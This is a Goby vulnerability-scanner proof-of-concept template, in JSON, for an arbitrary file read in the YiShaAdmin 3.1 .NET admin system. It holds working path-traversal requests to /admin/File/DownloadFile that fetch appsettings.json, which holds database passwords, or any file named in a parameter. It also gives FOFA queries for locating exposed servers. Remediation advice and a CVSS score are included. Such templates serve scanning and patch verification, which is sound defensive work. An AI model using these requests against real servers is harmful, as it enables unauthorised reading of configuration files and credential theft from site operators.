Goby/json/YiShaAdmin-3.1-Arbitrary-File-Read.json

{
  "Name": "YiShaAdmin 3.1 Arbitrary File Read",
  "Description": "<p>YiShaAdmin is based on the .NET Core MVC permission management system. The code is easy to read and understand, and the interface is simple and beautiful.<br></p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">Attackers can exploit the vulnerability to read arbitrary files, including database passwords.&nbsp;</span><br></p>",
  "Product": "YiShaAdmin",
  "Homepage": "https://github.com/liukuo362573/YiShaAdmin",
  "DisclosureDate": "2022-03-23",
  "Author": "abszse",
  "FofaQuery": "body=\"/yisha/css/login.css\"",
  "GobyQuery": "body=\"/yisha/css/login.css\"",
  "Level": "2",
  "Impact": "<p>Attackers can exploit the vulnerability to read arbitrary files, including database passwords.&nbsp;<br></p>",
  "References": [
    "https://fofa.so/"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "appsettings.json",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/admin/File/DownloadFile?filePath=wwwroot/../appsettings.json&delete=0",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "Logging",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/admin/File/DownloadFile?filePath=wwwroot/../{{{cmd}}}&delete=0",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody||"
      ]
    }
  ],
  "Tags": [
    "Arbitrary File Download"
  ],
  "VulType": [
    "Arbitrary File Download"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "7.5",
  "Translation": {
    "CN": {
      "Name": "YiShaAdmin 管理系统 3.1 任意文件读取漏洞",
      "Product": "YiShaAdmin",
      "Description": "<p>YiShaAdmin 基于 .NET Core MVC 的权限管理系统，代码易读易懂、界面简洁美观。</p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">攻击者可利用漏洞读取任意文件，包括数据库密码等。</span><br><br></p>",
      "Recommendation": "<p>对/admin/File/DownloadFile 设置鉴权</p><p>设置访问的白名单</p><p>修复请关注链接：<a href=\"https://github.com/liukuo362573/YiShaAdmin\">https://github.com/liukuo362573/YiShaAdmin</a><br></p>",
      "Impact": "<p>攻击者可利用漏洞读取任意文件，包括数据库密码等。<br></p>",
      "VulType": [
        "任意⽂件下载"
      ],
      "Tags": [
        "任意⽂件下载"
      ]
    },
    "EN": {
      "Name": "YiShaAdmin 3.1 Arbitrary File Read",
      "Product": "YiShaAdmin",
      "Description": "<p>YiShaAdmin is based on the .NET Core MVC permission management system. The code is easy to read and understand, and the interface is simple and beautiful.<br></p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">Attackers can exploit the vulnerability to read arbitrary files, including database passwords.&nbsp;</span><br></p>",
      "Recommendation": "<p>Set authentication to /admin/File/DownloadFile</p><p><span style=\"color: var(--primaryFont-color);\">Set a whitelist for access</span></p><p>Please follow the link for repair: <a href=\"https://github.com/liukuo362573/YiShaAdmin\">https://github.com/liukuo362573/YiShaAdmin</a></p>",
      "Impact": "<p>Attackers can exploit the vulnerability to read arbitrary files, including database passwords.&nbsp;<br></p>",
      "VulType": [
        "Arbitrary File Download"
      ],
      "Tags": [
        "Arbitrary File Download"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}